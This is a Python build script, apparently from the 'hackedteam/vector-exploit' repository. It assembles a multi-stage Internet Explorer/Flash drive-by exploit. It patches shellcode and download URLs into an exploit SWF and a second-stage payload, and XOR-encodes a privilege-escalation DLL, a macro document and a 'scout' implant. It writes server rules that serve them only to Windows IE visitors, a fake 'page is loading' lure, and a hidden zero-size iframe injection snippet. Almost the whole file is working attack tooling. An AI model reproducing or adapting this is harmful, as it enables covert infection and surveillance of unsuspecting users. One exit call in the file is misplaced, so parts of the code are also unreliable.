hackedteam/vector-exploit

View on GitHub
src/edn2/2013-005-IE-TLS/build

Summary

Maintainability
Test Coverage
#!/usr/bin/env python

import os
import ast
import sys
import copy
import json
import glob
import zlib
import random
import shutil
import pylzma
import struct
import argparse
import platform
import tempfile
import urlparse
import subprocess
import ConfigParser

from zipfile import ZipFile

# ------- start of utils subs -------
# should refactor 

def random_id(length):
    number = '0123456789'
    alpha = 'abcdefghijklmnopqrstuvwxyz'
    id = ''
    for i in range(0, length, 2):
        id += random.choice(number)
        id += random.choice(alpha)
    return id
    
def random_alpha(length):
    alpha = 'abcdefghijklmnopqrstuvwxyz'
    id = ''
    for i in range(0, length, 2):
        id += random.choice(alpha)
    return id
    

def four_byte_xor(buf, key):
    out = ''
    for i in range(0, len(buf)/4):
        c = struct.unpack('<I', buf[(i*4):(i*4)+4])[0]
        c ^= key
        out += struct.pack('<I', c)

    reminder = len(buf) % 4
    for i in range(len(buf) - reminder, len(buf)):
        c = struct.unpack('B', buf[i])[0]
        c ^= 0x41
        out += struct.pack('B', c)
    return out

def byteArray2String(param):
    f, tmp = tempfile.mkstemp() 
    os.close(f)
    f = open(tmp, 'wb')
    f.write(param)
    f.close()
    
    f = open(tmp, 'rb')
    result = f.read()
    f.close()

    try:
        os.unlink(tmp)
    except WindowsError:
        print 'I/O error when deleting {} file'.format(tmp)

    return result
        
def binpatch(string, placeholder, replacement):
    return string[0:string.find(placeholder)] + replacement +  string[string.find(placeholder)+len(replacement):]


# ------- end of utils subs -------


# ------- start of build subs -------

def create_swf(stage2_url, binary_xor_key, validate):

    XOR_OFFT = 4 * 2
    URL_OFFT = 8 * 2

    # decompress swf
    if validate:
        swf_name = 'resources/exploit.swf-validate-ca'
    else:
        swf_name = 'resources/exploit.swf'

    print '[*] using swf: {}'.format( swf_name )

    compressed_swf = open(swf_name, 'rb').read()
    swf_buff = zlib.decompress(compressed_swf[8:])

    swf_buff = swf_buff.replace("ht-201", "abc123")
    swf_buff = swf_buff.replace("vector-exploit", "pector-isbrovi")

    # get shellcode offset
    stage2_offset = swf_buff.find(b"EFBEADDE")
    if stage2_offset == 0:
        print "[!!] gadget for shellcode not found"
    sys.exit(-1)

    print "[*] gadget for shellcode found at offset 0x%x" %(stage2_offset)
    swf_bytearray = bytearray(swf_buff)

    # replace shellcode
    if validate:
        shellcode_name = 'resources/shellcode-validate-ca'
    else:
        shellcode_name = 'resources/shellcode'

    print '[*] using shellcode 1st stage: {}'.format( shellcode_name )

    shellcode = open(shellcode_name, 'rb').read()
    hex_shellcode = shellcode.encode('hex')
    for i in range(len(hex_shellcode)):
        swf_bytearray[stage2_offset + i] = hex_shellcode[i]

    # modify URL
    hex_url = stage2_url.encode('hex') + "0000"
    for i in range(len(hex_url)):
        swf_bytearray[stage2_offset + URL_OFFT + i] = hex_url[i]

    # modify xor key
    hex_xorkey = ("%08x" % binary_xor_key)
    swf_bytearray[stage2_offset + XOR_OFFT + 0] = hex_xorkey[6]
    swf_bytearray[stage2_offset + XOR_OFFT + 1] = hex_xorkey[7]
    swf_bytearray[stage2_offset + XOR_OFFT + 2] = hex_xorkey[4]
    swf_bytearray[stage2_offset + XOR_OFFT + 3] = hex_xorkey[5]
    swf_bytearray[stage2_offset + XOR_OFFT + 4] = hex_xorkey[2]
    swf_bytearray[stage2_offset + XOR_OFFT + 5] = hex_xorkey[3]
    swf_bytearray[stage2_offset + XOR_OFFT + 6] = hex_xorkey[0]
    swf_bytearray[stage2_offset + XOR_OFFT + 7] = hex_xorkey[1]
   

    # compress swf
    uncompressed_len = len(swf_bytearray)
    uncompressed_len += len("ZWS\x0d") 
    uncompressed_len += 4 # + se stessa

    print "[*] uncompressed len: 0x%x" %(uncompressed_len)
    lzma_buff = pylzma.compress(byteArray2String(swf_bytearray))
    
    compressed_len = len(lzma_buff) - 5
    print "[*] compressed len: 0x%x" %(compressed_len)
    
    output_buff = "ZWS\x0d"
    output_buff += struct.pack("<L", uncompressed_len)
    output_buff += struct.pack("<L", compressed_len)
    output_buff += lzma_buff

    return output_buff




def  edn_build(target_directory, ip, serverip, basedir, scout_name, scout_input_path, redirect, output_file, swf_random_name, exe_random_name, expiry, stage2_random_name, stage3doc_random_name, stage3java_random_name,  dll_random_name, doc_random_name, exploit_type, validate):
    print '[*] Internet Explorer Exploit:\n    target directory: {}\n    host: {}\n    basedir: {}\n    scout name: {}\n\
    scout input: {}\n    output: {}\n    swf_random_name: {}\n    scout_random_name: {}\n    stage2_random_name: {}\n    stage3doc_random_name: {}\n    stage3java _random_name: {}\n    dll_random_name: {}\n    doc _random_name: {}\n    validate CA: {}'.format(target_directory, ip, basedir, scout_name, scout_input_path, output_file, swf_random_name, exe_random_name, stage2_random_name, stage3doc_random_name, stage3java_random_name,  dll_random_name, doc_random_name, validate )


    # clear tmp in case there're some leftovers
    for root, dirs, files in os.walk('tmp'):
        for f in files:
            os.unlink(os.path.join(root, f))
        for d in dirs:
            shutil.rmtree(os.path.join(root, d))
            
    # check whether we're regenerating or not
    if os.path.exists(os.path.join(target_directory, '.config')):
        
        print '[*] N.B. regenerating an existing exploit'

        old_stuff = os.path.join(target_directory, 'instance_{}'.format(random_id(5)))
        os.mkdir(old_stuff)
        shutil.move(os.path.join(target_directory, 'data'), old_stuff)
        for f in glob.glob(os.path.join(target_directory, '*.ini')):
            shutil.move(f, old_stuff)

        shutil.move(old_stuff, os.getcwd())
            
    os.mkdir(os.path.join(target_directory, 'data'))

    #locals
    binary_xor_key = random.randint(0xdead, 0xdeadbeef-1)

    
    # check whether we're regenerating this exploit, i.e. '.config' file exists within the exploit root dir
    config_path = os.path.join(target_directory, '.config')
    if os.path.exists(config_path):
        data = json.load(open(config_path))
        exploitpage_url =  data['url']
        exploitpage_relative_url = exploitpage_url[exploitpage_url.rfind('/')+1:]

        parsed_url = urlparse.urlparse(exploitpage_url)
        serverip = parsed_url.scheme + '://' +  parsed_url.netloc
        basdir = parsed_url.path[1:parsed_url.path.rfind('/')]

    else:
        exploitpage_relative_url = random_alpha(10) + '.html'
        exploitpage_url = 'http://' + serverip  + basedir + exploitpage_relative_url
        open(config_path, 'w').write('{{"url": "{}"}}'.format(exploitpage_url))
    

    # exe_url = ip + '/' + basedir + '/' + exe_random_name
    # swf_url = ip + '/' + basedir + '/' + swf_random_name
    # stage2_url = ip + '/' + basedir + '/' + stage2_random_name
    # stage3doc_url = ip + '/' + basedir + '/' + stage3doc_random_name
    # stage3java_url = ip + '/' + basedir + '/' + stage3java_random_name
    exe_url = ip  + basedir  + exe_random_name
    swf_url = ip  + basedir  + swf_random_name
    stage2_url = ip  + basedir  + stage2_random_name
    stage3doc_url = ip  + basedir  + stage3doc_random_name
    stage3java_url = ip  + basedir  + stage3java_random_name
    

    

    print '[*] xor key: {}'.format(binary_xor_key)
    print '[*] scout_url: {}'.format(exe_url)
    print '[*] swf_url: {}'.format(swf_url)
    print '[*] stage2_url: {}'.format(stage2_url)
    print '[*] stage3java_url: {}'.format(stage3java_url)
    print '[*] stage3doc_url: {}'.format(stage3doc_url)
    print '[*] exploitpage_url: {}'.format(exploitpage_url)


    # 0] last but not least create and dump the html page

    if exploit_type == 'iehosted':
        page = """<html>
<head>
</head>
<body>
<h2> Please wait, the requested page is loading...</h2>
<br>
<p align="center">
<img src="ajax-loader.gif" width="40" height="40">
</p>
<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" WIDTH="550" HEIGHT="400" id="movie"><PARAM NAME=movie VALUE="SWF_URL"><PARAM NAME=quality VALUE=high><PARAM NAME=bgcolor VALUE=#FFFFFF><EMBED src="SWF_URL" quality=high bgcolor=#FFFFFF WIDTH="550" HEIGHT="400" NAME="movie" ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.adobe.com/go/getflashplayer"></EMBED></OBJECT>
</body>
<script>
    setTimeout(function () {
        window.location.reload();
    }, 10000);

</script>
</html>
"""
    elif exploit_type == 'iehtml':
        page = """<html>
<head>
</head>
<body>
<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" WIDTH="550" HEIGHT="400" id="4"><PARAM NAME=movie VALUE="SWF_URL"><PARAM NAME=quality VALUE=high><PARAM NAME=bgcolor VALUE=#FFFFFF><EMBED src="SWF_URL" quality=high bgcolor=#FFFFFF WIDTH="550" HEIGHT="400" NAME="SWF_NAME" ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.adobe.com/go/getflashplayer"></EMBED></OBJECT>
</body>
</html>
"""
    else:
        print '[E] wrong exploit type: {}'.format(exploit_type)
        exit(1)

    #open(exploitpage_relative_url, 'w').write(page.replace('SWF_URL', swf_random_name))
    open(exploitpage_relative_url, 'w').write(page.replace('SWF_URL', swf_url))
    shutil.move(exploitpage_relative_url, os.path.join(target_directory, 'data/') )
    
    # copy ajax-loader.gif
    #image_folder = os.path.join(os.path.join(target_directory, 'data'), './images')
    #os.mkdir(image_folder)
    shutil.copy('resources/ajax-loader.gif', os.path.join(target_directory, 'data/') )


    # copy xp filter and empty.swf
    shutil.copy('resources/empty.swf', os.path.join(target_directory, 'data/') )
    shutil.copy('resources/xp_filter.py', os.path.join(target_directory, 'data/') )
    os.chmod(os.path.join(target_directory, 'data/xp_filter.py'), 0755)

    # 1] create and dump 1st stage swf
    swf_shellcode = create_swf(stage2_url, binary_xor_key, validate)
    open(swf_random_name, 'wb').write(swf_shellcode)
    shutil.move(swf_random_name, os.path.join(target_directory, 'data/not_really_empty.swf') )

    # 2] create and dump 2nd stage 
    if validate:
        shellcode_stage2 = 'resources/Shellcode-Stage2-IE.exe-validate-ca'
    else:
        shellcode_stage2 = 'resources/Shellcode-Stage2-IE.exe'

    print '[*] using shellcode 2nd stage: {}'.format( shellcode_stage2 )

    stage2_buff = open(shellcode_stage2, 'rb').read()
    stage2_buff = binpatch(stage2_buff, "EXE_URL".encode("utf_16")[2:], exe_url.encode("utf_16")[2:] + "\x00\x00")
    stage2_buff = binpatch(stage2_buff, "EXE_NAME".encode("utf_16")[2:], scout_name.encode("utf_16")[2:] + "\x00\x00")
    stage2_buff = binpatch(stage2_buff, "DOCESCAPE_URL".encode("utf_16")[2:], stage3doc_url.encode("utf_16")[2:] + "\x00\x00")
    stage2_buff = binpatch(stage2_buff, "JAVAESCAPE_URL".encode("utf_16")[2:], stage3java_url.encode("utf_16")[2:] + "\x00\x00")
    stage2_buff = binpatch(stage2_buff, "DOC_TEMP_NAME".encode("utf_16")[2:], doc_random_name.encode("utf_16")[2:] + "\x00\x00")
    stage2_buff = binpatch(stage2_buff, "DLL_TEMP_NAME".encode("utf_16")[2:], dll_random_name.encode("utf_16")[2:] + "\x00\x00")
    stage2_buff = binpatch(stage2_buff, "SCOUT_TEMP_NAME".encode("utf_16")[2:], exe_random_name.encode("utf_16")[2:] + "\x00\x00")
    stage2_buff = binpatch(stage2_buff, "ORIGINAL_URL".encode("utf_16")[2:], ip.encode("utf_16")[2:] + "\x00\x00")
    stage2_buff = stage2_buff.replace("\xef\xbe\xad\xde", struct.pack("<L", binary_xor_key))
    open(stage2_random_name, 'wb').write(four_byte_xor(stage2_buff, binary_xor_key))
    shutil.move(stage2_random_name, os.path.join(target_directory, 'data/'))


    # 3a] create and dump 3rd stage java
    stage3_buff = open("resources/PMIEFuck-Java.dll", 'rb').read()
    open(stage3java_random_name, 'wb').write(four_byte_xor(stage3_buff, binary_xor_key))
    shutil.move(stage3java_random_name, os.path.join(target_directory, 'data/'))

    # 3b] create and dump 3rd stage blob (dll + doc)
    stage3_lib_buff = open("resources/PMIEFuck-WinWord.dll", 'rb').read()
    stage3_lib_len = len(stage3_lib_buff)
    stage3_doc_buff = open("resources/owned.docm", 'rb').read()
    stage3_doc_len = len(stage3_doc_buff)

    stage3_buff = struct.pack("<L", stage3_lib_len)
    stage3_buff += struct.pack("<L", stage3_doc_len)
    stage3_buff += stage3_lib_buff
    stage3_buff += stage3_doc_buff
    open(stage3doc_random_name, 'wb').write(four_byte_xor(stage3_buff, binary_xor_key))
    shutil.move(stage3doc_random_name, os.path.join(target_directory, 'data/'))

    # 4] create and dump scout
    scout_buff = open(scout_input_path, 'rb').read()
    open(exe_random_name, 'wb').write(four_byte_xor(scout_buff, binary_xor_key))
    shutil.move(exe_random_name, os.path.join(target_directory, 'data/') )


    # iehtml only: don't serve a redirect, rather serve a blank page
    if exploit_type == 'iehtml':
        open('empty.html', 'w').write('<html></html>')
        shutil.move('empty.html', os.path.join(target_directory, 'data/') )        


    # --- generate edn configuration ---
    baseconfig = {
        "general": {  "expiry": 0, "hits": 1     },
        "valid": {   },
        "invalid": {"type": 404},
        "filters": { 'platform_description': '/windows/i',  'browser':  '/^IE$/'   },
        }
    

    # -1] gif
    gif_config = copy.deepcopy(baseconfig)
    gif_config['general']['expiry'] = expiry
    gif_config['general']['hits'] = -1
    gif_config['valid']['type'] = 'data'
    gif_config['valid']['path'] = 'ajax-loader.gif'
    gif_config['valid']['headers[Content-Type]'] = 'image/gif'
    write_edn_config(target_directory, 'ajax-loader.gif', gif_config)

    # 0] exploit page
    # redirect must start with http://
    if exploit_type == 'iehosted':
        if not (redirect.startswith('http://') or redirect.startswith('https://') ):
            redirect = 'http://' + redirect
    
    html_config = copy.deepcopy(baseconfig)
    html_config['general']['pos'] = 'first'
    html_config['general']['expiry'] = expiry
    html_config['valid']['type'] = 'data'
    html_config['valid']['headers[Content-Type]'] = 'text/html'
    html_config['valid']['path'] = './{}'.format(exploitpage_relative_url)
    html_config['related'] = {}
    html_config['related'][swf_random_name] = '+2min'
    html_config['invalid'] = {}

    if exploit_type == 'iehtml':
        html_config['invalid']['type'] = 'data'
        html_config['invalid']['path'] = 'empty.html'
        html_config['invalid']['headers[Content-Type]'] = 'text/html'
    else:
        html_config['invalid']['type'] = 301
        html_config['invalid']['headers[Location]'] = redirect



    write_edn_config(target_directory, exploitpage_relative_url, html_config)


    # 1] swf with win xp filter
    swf_config = copy.deepcopy(baseconfig)
    swf_config['valid']['type'] = 'exec'
    #swf_config['valid']['path'] = './{}'.format(swf_random_name)
    swf_config['valid']['path'] = './xp_filter.py'
    swf_config['valid']['headers[Content-Type]'] = 'application/x-shockwave-flash'
    swf_config['related'] = {}
    swf_config['related'][stage2_random_name] = '+2min'
    write_edn_config(target_directory, swf_random_name, swf_config)

    

    
    # 2] 2nd stage
    stage2_config = copy.deepcopy(baseconfig)
    stage2_config['valid']['type'] = 'data'
    stage2_config['valid']['path'] = './{}'.format(stage2_random_name)
    stage2_config['valid']['header[Content-Type]'] = 'application/octet-stream'
    stage2_config['related'] = {}
    stage2_config['related'][stage3doc_random_name] = '+2min'
    stage2_config['related'][stage3java_random_name] = '+2min'
    write_edn_config(target_directory, stage2_random_name, stage2_config)
    
    # 3a] 3rd stage java
    stage3java_config = copy.deepcopy(baseconfig)
    stage3java_config['valid']['type'] = 'data'
    stage3java_config['valid']['path'] = './{}'.format(stage3java_random_name)
    stage3java_config['valid']['header[Content-Type]'] = 'application/octet-stream'
    stage3java_config['related'] = {}
    stage3java_config['related'][exe_random_name] = '+2min'
    stage3java_config['related'][stage3doc_random_name] = 0
    write_edn_config(target_directory, stage3java_random_name, stage3java_config)

    # 3b] 3rd stage doc
    stage3doc_config = copy.deepcopy(baseconfig)
    stage3doc_config['valid']['type'] = 'data'
    stage3doc_config['valid']['path'] = './{}'.format(stage3doc_random_name)
    stage3doc_config['valid']['header[Content-Type]'] = 'application/octet-stream'
    stage3doc_config['related'] = {}
    stage3doc_config['related'][exe_random_name] = '+2min'
    stage3doc_config['related'][stage3java_random_name] = 0
    write_edn_config(target_directory,  stage3doc_random_name, stage3doc_config)
    
    
    # 4] scout
    scout_config = copy.deepcopy(baseconfig)
    scout_config['general']['pos'] = 'last'
    scout_config['valid']['type'] = 'data'
    scout_config['valid']['path'] = './{}'.format(exe_random_name)
    scout_config['valid']['header[Content-Type]'] = 'application/octet-stream'
    scout_config['related'] = {}
    write_edn_config(target_directory, exe_random_name, scout_config)
    

    # dump link to --output
    exploit_url = exploitpage_url #serverip + basedir  + exploitpage_relative_url
    if not validate:
        exploit_url = exploit_url.replace('https://', 'http://')

    if exploit_type == 'iehosted':
        open(output_file, 'wb').write(exploit_url )
        print '[*] serving exploit at: {}'.format( exploit_url)
    elif exploit_type == 'iehtml':
        #page = '<iframe height="80px" width="80px" scrolling="no" seamless="seamless" frameborder="0" src="EXPLOIT"></iframe>'
        page = '<script type="text/javascript">window.addEventListener("DOMContentLoaded", function() {var iframe = document.createElement("iframe");iframe.style.height = 0;iframe.style.width = 0;iframe.style.border = "none";iframe.setAttribute("src", "EXPLOIT");document.body.appendChild(iframe);}, false);</script>'
        page = page.replace('EXPLOIT', exploit_url)
        open(output_file, 'wb').write(page)
        print '[*] iframe points to exploit at: {}'.format(exploit_url)
        


def write_edn_config(target_directory, filename, options):
    config = ConfigParser.RawConfigParser()

    # Prevent ConfigParser from transforming option names to lowercase
    config.optionxform = str

    for k in options:
        config.add_section(k)
        for optk in options[k]:
            config.set(k, optk, options[k][optk])

    confpath = os.path.join(target_directory, filename + ".ini")
    with open(confpath, "w") as fp:
        config.write(fp)

    print "[*] wrote EDN config file: {}".format(confpath)


# ------- end of build subs -------    

# ./build --serveraddr='192.168.0.1' --serverip='192.168.0.1' --basedir='/docs/veryrandomdir/' --outdir='outdir/' --output='output' --t
# ype='worddoc' --expiry='1413469552' --client='CUSTOMER' --type='worddoc' --agent='upload/zip.exe' --document='upload/Doc.docx'

def main():
    random.seed()
    
    # 0] scout_name
    # 1] scout input path
    # 2] docx input
    # 3] docx output path
    
    parser = argparse.ArgumentParser(description='[*] Internet Explorer Exploit')
    parser.add_argument('--outdir', help='exploit destination folder', type=str, required=True)
    parser.add_argument('--serveraddr', help='server address hostname if available', type=str, required=True)
    parser.add_argument('--serverip', help='server ip', type=str, required=True)
    parser.add_argument('--agent', help='input scout', type=str, required=True)
    parser.add_argument('--output', help='output docx', type=str, required=True)
    parser.add_argument('--basedir', help='base directory', type=str, required=True)
    parser.add_argument('--expiry', help='expiry date', type=str, required=True)
    parser.add_argument('--redirect', help='redirect url', type=str, required=False)
    parser.add_argument('--type', help='[iehosted|iehtml]',  type=str, required=True)
    #parser.add_argument('--validate', help='tls validation', type=str, required=True)


    args, unknown = parser.parse_known_args()

    swf_random_name = random_id(12) + '.swf'
    exe_random_name = random_id(12) + '.dat'
    stage2_random_name = random_id(12) + '.dat'
    stage3doc_random_name = random_id(12) + '.dat'
    stage3java_random_name = random_id(12) + '.dat'
    dll_random_name = random_id(12) + '.dat'
    doc_random_name = random_id(12) + '.docm' # doc for privesc
    
    serveraddr = 'https://' + args.serveraddr

    #if not( args.validate == 'True' or args.validate == 'False'):
    #    print '[E] --validate must be either True of False'
    #    exit(-1)
    #else:
    #    validate = ast.literal_eval(args.validate)
    validate = True


    # check type is either iehosted or iehtml
    if not( args.type == 'iehosted' or args.type == 'iehtml'):
        print '[E] exploit type must be either iehosted or iehtml'
        exit(-1)
    
    
    # extract scout metadata
    if platform.system() == 'Windows':
        ouch = subprocess.check_output('python ../agentdetect.py --latest "{}"'.format(args.agent), shell=True ) 
    else:
        ouch = subprocess.check_output('agentdetect --latest "{}"'.format(args.agent), shell=True ) 


    if ouch.strip() == 'None':
        print '[E] scout provided is not up to date'
        exit(-1)
    
    scout_data = json.loads(ouch)

    if scout_data['type'] != 'scout':
        print '[E] executable provided is not a scout'
        exit(-1)
    
    scout_name = scout_data['name']

    # build the exploit
    edn_build(args.outdir, serveraddr, args.serverip, args.basedir, scout_name, args.agent, 
              args.redirect, args.output, swf_random_name, exe_random_name, args.expiry,
              stage2_random_name, stage3doc_random_name, stage3java_random_name,
              dll_random_name, doc_random_name, args.type, validate)




if __name__ == '__main__':
    main()